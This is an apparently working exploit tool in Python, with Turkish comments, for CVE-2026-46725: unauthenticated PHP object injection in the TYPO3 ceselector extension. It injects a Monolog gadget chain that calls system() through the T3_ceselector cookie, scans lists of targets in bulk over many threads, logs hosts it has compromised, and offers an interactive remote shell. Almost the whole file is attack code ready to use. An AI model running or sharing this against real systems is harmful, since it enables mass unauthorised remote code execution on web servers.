README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-46725 — TYPO3 ceselector Extension
Insecure Deserialization (PHP Object Injection) → RCE
CVSS 9.8 (Critical) | CWE-502
Author: DhiyaneshDk | Converted to Python
"""
import requests, argparse, re, sys, time, shutil, json
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urljoin, urlparse, quote
requests.packages.urllib3.disable_warnings()
# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════
def tw():
return shutil.get_terminal_size((100, 24)).columns
class C:
G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
BL="\033[1m"; X="\033[0m"
BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
NOCOLOR = False
@classmethod
def fmt(cls, msg, *codes):
if cls.NOCOLOR: return str(msg)
return "".join(codes) + str(msg) + cls.X
@classmethod
def ok(cls, m): return cls.fmt(m, cls.G)
@classmethod
def err(cls, m): return cls.fmt(m, cls.R)
@classmethod
def warn(cls, m): return cls.fmt(m, cls.Y)
@classmethod
def dim(cls, m): return cls.fmt(m, cls.DM)
@classmethod
def badge_err(cls, m): return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
@classmethod
def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
@classmethod
def badge_ok(cls, m): return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)
_lock = Lock()
_verbose = False
def out(msg="", end="\n"):
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
sys.stdout.flush()
def vout(msg):
if _verbose: out(msg)
def section(title, icon="◆"):
out()
out(C.fmt(f" {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
out(C.fmt(" " + "─" * min(52, tw()-4), C.DM))
def kv(k, v, vc=None):
out(C.fmt(f" · {k:<18}", C.DM) + C.fmt(str(v), vc or C.WH))
# ══════════════════════════════════════════════════
# PROGRESS BAR
# ══════════════════════════════════════════════════
class Bar:
def __init__(self, total, title="", color=None):
self.total = max(total, 1)
self.title = title
self.color = color or C.CY
self.current = 0
self.start = time.time()
self._lines = 0
def update(self, n, info=""):
self.current = n
w = tw()
bw = max(10, w - len(self.title) - 26)
pct = n / self.total
filled = int(bw * pct)
elapsed = time.time() - self.start + 0.001
rate = n / elapsed
eta = (self.total - n) / rate if rate > 0 else 0
bar = (C.fmt("█" * filled, self.color, C.BL) +
C.fmt("░" * (bw - filled), C.DM))
l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
f" [{bar}] " +
C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({n}/{self.total})", C.DM))
l2 = (f" " + C.fmt(f"{rate:5.1f}/s", C.G) +
f" ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
f" " + C.fmt(str(info)[:w-32], C.DM))
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(l1 + "\n" + l2 + "\n")
sys.stdout.flush()
self._lines = 2
def finish(self, msg=""):
bw = max(10, tw() - len(self.title) - 26)
elapsed = time.time() - self.start
rate = self.current / (elapsed + 0.001)
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
C.fmt("100.0%", C.BL, C.G) +
C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
C.fmt(" ✓ ", C.G, C.BL) +
C.fmt(f"{elapsed:.1f}s {rate:.1f}/s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
self._lines = 0
class CounterBar:
def __init__(self, total, title="Scan"):
self.total = max(total, 1)
self.title = title
self.n = 0
self.start = time.time()
def inc(self, info=""):
with _lock:
self.n += 1
elapsed = time.time() - self.start + 0.001
rate = self.n / elapsed
eta = (self.total - self.n) / rate if rate > 0 else 0
line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {rate:.1f}/s", C.G) +
C.fmt(f" ETA {eta:.0f}s", C.Y) +
C.fmt(f" {str(info)[:45]}", C.DM))
sys.stdout.write("\r" + " " * tw() + "\r" + line)
sys.stdout.flush()
def finish(self, msg=""):
elapsed = time.time() - self.start
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
C.fmt(" TAMAMLANDI", C.BL, C.G) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {elapsed:.1f}s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════
def print_banner():
out(C.fmt(r"""
████████╗██╗ ██╗██████╗ ██████╗ ██████╗
╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗
██║ ╚████╔╝ ██████╔╝██║ ██║ █████╔╝
██║ ╚██╔╝ ██╔═══╝ ██║ ██║ ╚═══██╗
██║ ██║ ██║ ╚██████╔╝██████╔╝
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝
""", C.CY, C.BL))
out(C.fmt(" CVE-2026-46725", C.BL, C.R) +
C.fmt(" TYPO3 ceselector Extension ", C.DM) +
C.badge_err("CVSS 9.8 CRITICAL"))
out(C.fmt(" Insecure Deserialization (PHP Object Injection) → RCE", C.DM))
out(C.fmt(" CWE-502 | Unauthenticated | No Privileges Required", C.DM))
out(C.fmt(" " + "─" * (tw()-4), C.DM))
out()
# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════
DEFAULT_UA = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
)
def make_session(timeout=15, proxy=None):
s = requests.Session()
s.verify = False
s.timeout = timeout
s.headers.update({
"User-Agent": DEFAULT_UA,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
})
if proxy:
s.proxies = {"http": proxy, "https": proxy}
return s
def get_req(sess, url, **kw):
try:
return sess.get(url, allow_redirects=True, **kw)
except Exception as e:
vout(C.dim(f" [GET ERR] {url} → {e}"))
return None
# ══════════════════════════════════════════════════
# TYPO3 & CESELECTOR TESPİT
# ══════════════════════════════════════════════════
def detect_typo3(sess, base_url):
"""
TYPO3 kurulu mu ve ceselector extension aktif mi?
T3_ceselector_<id> cookie'si Set-Cookie header'ında var mı?
"""
result = {
"typo3": False,
"ceselector": False,
"cookie_name": None, # T3_ceselector_XXXXX
"cookie_value": None, # mevcut değer (gerekirse)
"version": None,
}
r = get_req(sess, base_url)
if not r:
return result
# ── TYPO3 sinyalleri ─────────────────────────
typo3_signals = [
r'typo3',
r'TYPO3',
r'tx_ceselector',
r'EXT:ceselector',
r'mmc/ceselector',
r'T3_ceselector',
r'typo3conf',
r'typo3temp',
]
body_lower = r.text.lower()
for sig in typo3_signals:
if re.search(sig, r.text, re.I):
result["typo3"] = True
vout(C.dim(f" [detect] TYPO3 sinyal: {sig}"))
break
# ── Set-Cookie header'ından T3_ceselector cookie'si ──
# requests birden fazla Set-Cookie'yi birleştirir,
# ham header'a bakalım
raw_headers = str(r.headers)
# response.cookies üzerinden de kontrol
for cookie_name in r.cookies.keys():
if re.match(r'T3_ceselector_\d+', cookie_name, re.I):
result["ceselector"] = True
result["cookie_name"] = cookie_name
result["cookie_value"] = r.cookies[cookie_name]
vout(C.dim(f" [detect] Cookie bulundu: {cookie_name}"))
break
# Ham header'dan regex ile çıkar (fallback)
if not result["cookie_name"]:
m = re.search(
r'(?i)set-cookie\s*:\s*(T3_ceselector_\d+)=([^;\s]*)',
raw_headers
)
if not m:
# requests headers dict'i tek satır yapmaz,
# response.raw.headers dene
try:
for hname, hval in r.raw.headers.items():
if hname.lower() == "set-cookie":
cm = re.search(
r'(T3_ceselector_\d+)=([^;\s]*)',
hval, re.I
)
if cm:
result["ceselector"] = True
result["cookie_name"] = cm.group(1)
result["cookie_value"] = cm.group(2)
vout(C.dim(
f" [detect] Raw header cookie: "
f"{cm.group(1)}"
))
break
except Exception:
pass
else:
result["ceselector"] = True
result["cookie_name"] = m.group(1)
result["cookie_value"] = m.group(2)
# ceselector varsa typo3 da var demektir
if result["ceselector"]:
result["typo3"] = True
# ── TYPO3 sürümü ─────────────────────────────
ver_patterns = [
r'TYPO3\s+CMS\s+([\d.]+)',
r'typo3/([\d.]+)',
r'"version"\s*:\s*"([\d.]+)"',
]
for vp in ver_patterns:
vm = re.search(vp, r.text, re.I)
if vm:
result["version"] = vm.group(1)
break
return result
# ══════════════════════════════════════════════════
# PAYLOAD — PHP Object Injection (Monolog Gadget)
# ══════════════════════════════════════════════════
# URL-encoded Monolog gadget chain — system() çağrısı
# Payload: O:28:"Monolog\Handler\GroupHandler":1:{...system...}
# cmd parametresi "id" olarak gömülü — dinamik cmd için aşağıya bak
BASE_PAYLOAD = (
"O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7B"
"s%3A11%3A%22%00%2A%00handlers%22%3B"
"a%3A1%3A%7B"
"i%3A0%3B"
"O%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7B"
"s%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3B"
"s%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3B"
"s%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3B"
"s%3A9%3A%22%00%2A%00buffer%22%3B"
"a%3A1%3A%7B"
"i%3A0%3B"
"O%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7B"
"s%3A5%3A%22level%22%3B"
"E%3A19%3A%22Monolog%5CLevel%3ADebug%22%3B"
"s%3A5%3A%22mixed%22%3Bs%3A{CMD_LEN}%3A%22{CMD_ENC}%22%3B"
"%7D%7D"
"s%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3B"
"s%3A13%3A%22%00%2A%00processors%22%3B"
"a%3A3%3A%7B"
"i%3A0%3Bs%3A15%3A%22get_object_vars%22%3B"
"i%3A1%3Bs%3A3%3A%22end%22%3B"
"i%3A2%3Bs%3A6%3A%22system%22%3B"
"%7D%7D%7D%7D"
)
def build_payload(cmd="id"):
"""
Monolog gadget chain içine OS komutunu göm.
cmd string'i PHP serialize formatında yerleştirilir.
"""
cmd_len = len(cmd)
cmd_enc = quote(cmd, safe="")
payload = BASE_PAYLOAD.replace(
"{CMD_LEN}", str(cmd_len)
).replace(
"{CMD_ENC}", cmd_enc
)
return payload
# ══════════════════════════════════════════════════
# RCE ÇIKTISI DOĞRULA
# ══════════════════════════════════════════════════
# Komuta özel kesin RCE kalıpları
RCE_PATTERNS = {
"id": r'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)',
"whoami": r'^(?:www-data|root|apache|nginx|nobody|http|daemon)$',
"uname -a": r'Linux\s+\S+\s+\d+\.\d+\.\d+',
"uname": r'(?:Linux|Darwin|FreeBSD)\s+\S+',
"pwd": r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$',
"cat /etc/passwd": r'root:x:0:0:root',
"ls": r'(?:total \d+|[-drwx]{10}\s+\d+)',
"ls -la": r'(?:total \d+|[-drwx]{10}\s+\d+)',
"ps aux": r'(?:USER\s+PID|root\s+\d+)',
"env": r'(?:^|\n)(?:PATH|HOME|USER|SHELL)=',
"phpinfo": r'PHP Version \d+\.\d+\.\d+',
}
FALSE_POSITIVES = [
r'XML-RPC',
r'POST requests only',
r'<!DOCTYPE html',
r'<html',
r'Error\s+40[34]',
r'Not Found',
r'Forbidden',
r'Access Denied',
r'Object not found',
]
def extract_rce_output(body, cmd="id"):
"""
HTTP response body'sinden RCE çıktısını çıkar.
Nonce template'inden alınan regex kullanılır:
uid=\\d+\\([a-z_][a-z0-9_-]*\\)\\s+gid=\\d+\\([a-z_][a-z0-9_-]*\\)
"""
clean = re.sub(r'<[^>]+>', '', body)
clean = re.sub(r'&[a-z]+;', ' ', clean)
clean = re.sub(r'\s+', ' ', clean).strip()
# False positive kontrolü
for fp in FALSE_POSITIVES:
if re.search(fp, clean, re.I):
vout(C.dim(f" [extract] False positive: {fp}"))
return None
# Komuta özel pattern
pat = RCE_PATTERNS.get(
cmd.strip().lower(),
RCE_PATTERNS["id"]
)
m = re.search(pat, clean, re.MULTILINE)
if m:
# Eşleşme etrafındaki bağlamı al
start = max(0, m.start() - 10)
end = min(len(clean), m.end() + 200)
return clean[start:end].strip()
return None
# ══════════════════════════════════════════════════
# TEK HEDEF EXPLOIT
# ══════════════════════════════════════════════════
def exploit_single(sess, base_url, cmd="id",
silent=False, timeout=15):
url = base_url.rstrip("/")
if not url.startswith("http"):
url = "http://" + url
# ── 1) Tespit ─────────────────────────────────
if not silent:
section("TYPO3 & ceselector Tespit", "①")
info = detect_typo3(sess, url)
if not silent:
kv("TYPO3",
C.ok("✓ Tespit edildi") if info["typo3"]
else C.err("✗ Bulunamadı"))
kv("ceselector",
C.ok("✓ Aktif") if info["ceselector"]
else C.err("✗ Cookie yok"))
if info["cookie_name"]:
kv("Cookie Adı", info["cookie_name"], C.CY)
kv("Cookie Değer", info["cookie_value"][:30] + "..."
if info["cookie_value"] and
len(info["cookie_value"]) > 30
else (info["cookie_value"] or ""), C.DM)
if info["version"]:
kv("TYPO3 Sürüm", info["version"], C.DM)
if not info["typo3"]:
return {"ok": False, "reason": "typo3_not_found", "url": url}
if not info["ceselector"]:
return {"ok": False, "reason": "ceselector_cookie_not_found",
"url": url}
cookie_name = info["cookie_name"]
# ── 2) Payload ────────────────────────────────
if not silent:
section("Payload Hazırlanıyor", "②")
kv("Teknik", "PHP Object Injection → Monolog Gadget Chain", C.Y)
kv("Gadget", "Monolog\\Handler\\GroupHandler", C.DM)
kv("Sink", "system()", C.R)
kv("Komut", cmd, C.CY)
out()
payload = build_payload(cmd)
vout(C.dim(f" [payload] {payload[:80]}..."))
# ── 3) Exploit isteği ─────────────────────────
if not silent:
section("Exploit Gönderiliyor", "③")
headers = {
"User-Agent": DEFAULT_UA,
"Accept": "text/html,application/xhtml+xml,"
"application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
"Cookie": f"{cookie_name}={payload}",
}
vout(C.dim(f" [request] GET {url}"))
vout(C.dim(f" [cookie] {cookie_name}=<payload>"))
r = get_req(sess, url, headers=headers)
if not r:
return {"ok": False, "reason": "request_failed", "url": url}
vout(C.dim(f" [response] HTTP {r.status_code} "
f"len={len(r.text)}"))
if not silent:
kv("HTTP Status", r.status_code,
C.G if r.status_code == 200 else C.R)
# ── 4) Çıktı çıkar ────────────────────────────
if not silent:
section("RCE Çıktısı", "④")
output = extract_rce_output(r.text, cmd)
if output:
if not silent:
out(C.fmt(" ┌─ RCE ÇIKTISI ", C.G, C.BL) +
C.fmt("─" * 35, C.G))
for line in output.splitlines()[:15]:
out(C.fmt(" │ ", C.G) + C.fmt(line, C.WH, C.BL))
out(C.fmt(" └" + "─" * 45, C.G))
out()
kv("Komut", cmd, C.CY)
kv("Cookie", cookie_name, C.DM)
return {
"ok": True,
"output": output,
"url": url,
"cookie_name": cookie_name,
"cmd": cmd,
"version": info.get("version"),
}
if not silent:
out(C.err(" ✗ RCE çıktısı alınamadı"))
out(C.dim(f" · Ham yanıt (ilk 300): {r.text[:300]}"))
return {
"ok": False,
"reason": "no_rce_output",
"url": url,
"status": r.status_code,
"raw": r.text[:300],
}
# ══════════════════════════════════════════════════
# TOPLU TARAMA
# ══════════════════════════════════════════════════
def bulk_scan(targets, cmd="id", threads=10,
timeout=15, proxy=None):
total = len(targets)
results = []
bar = CounterBar(total, "Tarama")
r_lock = Lock()
def worker(target):
url = target.strip()
if not url:
return
if not url.startswith("http"):
url = "http://" + url
sess = make_session(timeout=timeout, proxy=proxy)
res = exploit_single(
sess, url,
cmd = cmd,
silent = True,
timeout = timeout,
)
if res.get("ok"):
tag = C.ok(f"✓ RCE {url}")
with r_lock:
results.append(res)
out(C.fmt("\n " + "═" * 64, C.G))
out(C.ok(f" ✓ RCE ALINDI → {url}"))
out(C.fmt(f" · Sürüm : "
f"{res.get('version','?')}", C.DM))
out(C.fmt(f" · Cookie : "
f"{res.get('cookie_name','')}", C.CY))
out(C.fmt(f" · Çıktı : "
f"{res.get('output','')[:120]}", C.WH))
out(C.fmt(" " + "═" * 64 + "\n", C.G))
elif res.get("reason") == "typo3_not_found":
tag = C.dim(f"– typo3 yok {url}")
elif res.get("reason") == "ceselector_cookie_not_found":
tag = C.dim(f"– ceselector yok {url}")
elif res.get("reason") == "no_rce_output":
tag = C.warn(f"? tespit edildi / RCE yok {url}")
else:
tag = C.err(f"✗ başarısız {url}")
bar.inc(tag)
with ThreadPoolExecutor(max_workers=threads) as ex:
futs = {ex.submit(worker, t): t for t in targets}
try:
for f in as_completed(futs):
f.result()
except KeyboardInterrupt:
out(C.warn("\n [!] Kullanıcı durdurdu."))
bar.finish(f"{len(results)} RCE bulundu")
return results
# ══════════════════════════════════════════════════
# KAYDET
# ══════════════════════════════════════════════════
def save_results(results, outfile=None):
if not results:
return
if not outfile:
outfile = f"typo3_ceselector_{int(time.time())}.txt"
lines = []
lines.append("=" * 60)
lines.append("CVE-2026-46725 — TYPO3 ceselector RCE")
lines.append(f"Tarih: {time.strftime('%Y-%m-%d %H:%M:%S')}")
lines.append("=" * 60)
lines.append("")
lines.append(f"[+] RCE ALINAN HEDEFLER ({len(results)})")
lines.append("-" * 40)
for r in results:
lines.append(f"URL : {r.get('url','')}")
lines.append(f"Sürüm : {r.get('version','?')}")
lines.append(f"Cookie : {r.get('cookie_name','')}")
lines.append(f"Komut : {r.get('cmd','')}")
lines.append(f"Çıktı : {r.get('output','')[:400]}")
lines.append("")
try:
with open(outfile, "w", encoding="utf-8") as f:
f.write("\n".join(lines))
out(C.ok(f"\n ✓ Sonuçlar kaydedildi → {outfile}"))
except Exception as e:
out(C.err(f" ✗ Kayıt hatası: {e}"))
# ══════════════════════════════════════════════════
# İNTERAKTİF SHELL
# ══════════════════════════════════════════════════
def interactive_shell(sess, base_url, cookie_name):
out()
out(C.fmt(" ╔══════════════════════════════════════════╗", C.G, C.BL))
out(C.fmt(" ║ İnteraktif Shell Açıldı ║", C.G, C.BL))
out(C.fmt(" ║ Çıkmak için: exit / quit / Ctrl+C ║", C.G, C.BL))
out(C.fmt(" ╚══════════════════════════════════════════╝", C.G, C.BL))
out()
# Başlangıç bilgileri
for init_cmd in ["id", "uname -a", "pwd"]:
payload = build_payload(init_cmd)
headers = {
"User-Agent": DEFAULT_UA,
"Cookie": f"{cookie_name}={payload}",
"Connection": "close",
}
r = get_req(sess, base_url, headers=headers)
if r:
out_text = extract_rce_output(r.text, init_cmd)
if out_text:
first = out_text.splitlines()[0] if out_text else ""
kv(init_cmd, first, C.CY)
out()
history = []
while True:
try:
prompt = (C.fmt(" typo3", C.G, C.BL) +
C.fmt("@", C.DM) +
C.fmt("ceselector", C.R, C.BL) +
C.fmt(" $ ", C.WH, C.BL))
cmd = input(prompt).strip()
except (KeyboardInterrupt, EOFError):
out(C.warn("\n [!] Shell kapatıldı."))
break
if not cmd:
continue
if cmd.lower() in ("exit", "quit", "q"):
out(C.dim(" [*] Çıkılıyor..."))
break
if cmd.lower() == "history":
for i, h in enumerate(history, 1):
out(C.dim(f" {i:3} {h}"))
continue
if cmd.lower() == "help":
out(C.dim(" Komutlar: exit, quit, history, help"))
out(C.dim(" Herhangi bir OS komutu çalıştırabilirsiniz."))
continue
history.append(cmd)
payload = build_payload(cmd)
headers = {
"User-Agent": DEFAULT_UA,
"Cookie": f"{cookie_name}={payload}",
"Connection": "close",
}
r = get_req(sess, base_url, headers=headers)
if not r:
out(C.err(" ✗ İstek başarısız"))
continue
# False positive kontrolü
is_fp = False
for fp in FALSE_POSITIVES:
if re.search(fp, r.text, re.I):
out(C.err(f" ✗ Geçersiz yanıt"))
is_fp = True
break
if is_fp:
continue
clean = re.sub(r'<[^>]+>', '', r.text).strip()
clean = re.sub(r'\s+', ' ', clean)
if clean:
for line in clean.splitlines()[:20]:
if line.strip():
out(C.fmt(" │ ", C.G) + line)
else:
out(C.dim(" (boş çıktı)"))
# ══════════════════════════════════════════════════
# ARG PARSER
# ══════════════════════════════════════════════════
def build_parser():
p = argparse.ArgumentParser(
prog="CVE-2026-46725",
description=(
"TYPO3 ceselector Extension — Insecure Deserialization RCE\n"
"PHP Object Injection via unserialize() cookie bypass\n"
"CVSS 9.8 Critical | Unauthenticated"
),
formatter_class=argparse.RawTextHelpFormatter,
epilog="""
Örnekler:
Tek hedef:
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
Toplu tarama:
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
""",
)
g1 = p.add_argument_group("Hedef")
mx = g1.add_mutually_exclusive_group(required=True)
mx.add_argument("-u", "--url", metavar="URL",
help="Tek hedef URL")
mx.add_argument("-l", "--list", metavar="FILE",
help="Hedef listesi (satır başı URL)")
g2 = p.add_argument_group("Exploit")
g2.add_argument("-c", "--cmd",
default="id", metavar="CMD",
help="Çalıştırılacak OS komutu (varsayılan: id)")
g2.add_argument("--interactive", "-i",
action="store_true",
help="Başarılı exploit sonrası interaktif shell aç")
g3 = p.add_argument_group("Tarama")
g3.add_argument("-t", "--threads",
type=int, default=10, metavar="N",
help="Thread sayısı (varsayılan: 10)")
g3.add_argument("--timeout",
type=int, default=15, metavar="S",
help="Timeout saniye (varsayılan: 15)")
g3.add_argument("--proxy",
metavar="URL",
help="Proxy (örn: http://127.0.0.1:8080)")
g4 = p.add_argument_group("Çıktı")
g4.add_argument("-o", "--output",
metavar="FILE",
help="Sonuç dosyası")
g4.add_argument("-v", "--verbose",
action="store_true",
help="Ayrıntılı çıktı")
g4.add_argument("--no-color",
action="store_true",
help="Renksiz çıktı")
return p
# ══════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════
def main():
global _verbose
parser = build_parser()
args = parser.parse_args()
if args.no_color:
C.NOCOLOR = True
if args.verbose:
_verbose = True
print_banner()
# ── Toplu tarama ──────────────────────────────
if args.list:
try:
with open(args.list, encoding="utf-8") as f:
targets = [l.strip() for l in f if l.strip()]
except FileNotFoundError:
out(C.err(f" ✗ Dosya bulunamadı: {args.list}"))
sys.exit(1)
section("Toplu Tarama", "▶")
kv("Liste", args.list, C.DM)
kv("Hedef", len(targets), C.WH)
kv("Thread", args.threads, C.DM)
kv("Komut", args.cmd, C.CY)
out()
results = bulk_scan(
targets,
cmd = args.cmd,
threads = args.threads,
timeout = args.timeout,
proxy = args.proxy,
)
save_results(results, args.output)
out()
out(C.fmt(" ╔══ ÖZET ═══════════════════════════════╗", C.G, C.BL))
out(C.fmt(f" ║ Toplam Hedef : {len(targets):<23}║", C.WH))
out(C.fmt(f" ║ RCE Alınan : {len(results):<23}║", C.G))
out(C.fmt(" ╠═══════════════════════════════════════╣", C.G, C.BL))
for r in results:
out(C.fmt(f" ║ ✓ {r['url'][:36]:<36}║", C.G))
out(C.fmt(" ╚═══════════════════════════════════════╝", C.G, C.BL))
return
# ── Tek hedef ─────────────────────────────────
url = args.url.rstrip("/")
if not url.startswith("http"):
url = "http://" + url
section("Hedef Bilgileri", "▶")
kv("URL", url, C.CY)
kv("Komut", args.cmd, C.DM)
out()
sess = make_session(timeout=args.timeout, proxy=args.proxy)
result = exploit_single(
sess, url,
cmd = args.cmd,
silent = False,
timeout = args.timeout,
)
if result.get("ok"):
save_results([result], outfile=args.output)
if args.interactive:
try:
interactive_shell(
sess, url,
result["cookie_name"]
)
except KeyboardInterrupt:
out(C.warn("\n [!] Shell kapatıldı."))
else:
try:
ans = input(C.warn(
"\n [?] İnteraktif shell aç? (y/n): "
)).strip().lower()
if ans == "y":
interactive_shell(
sess, url,
result["cookie_name"]
)
except (KeyboardInterrupt, EOFError):
pass
else:
reason = result.get("reason", "?")
out(C.fmt("\n ✗ Exploit başarısız.", C.R))
kv("Sebep", reason, C.DM)
out()
out(C.warn(" Öneriler:"))
out(C.dim(" 1. Hedefte TYPO3 kurulu ve ceselector extension aktif olmalı"))
out(C.dim(" 2. T3_ceselector_* cookie'si Set-Cookie header'ında olmalı"))
out(C.dim(" 3. Persistent Mode: Static configuration aktif olmalı"))
out(C.dim(" 4. -v verbose mod ile detayları inceleyin"))
out(C.dim(" 5. --proxy ile Burp Suite üzerinden trafiği izleyin"))
if __name__ == "__main__":
main()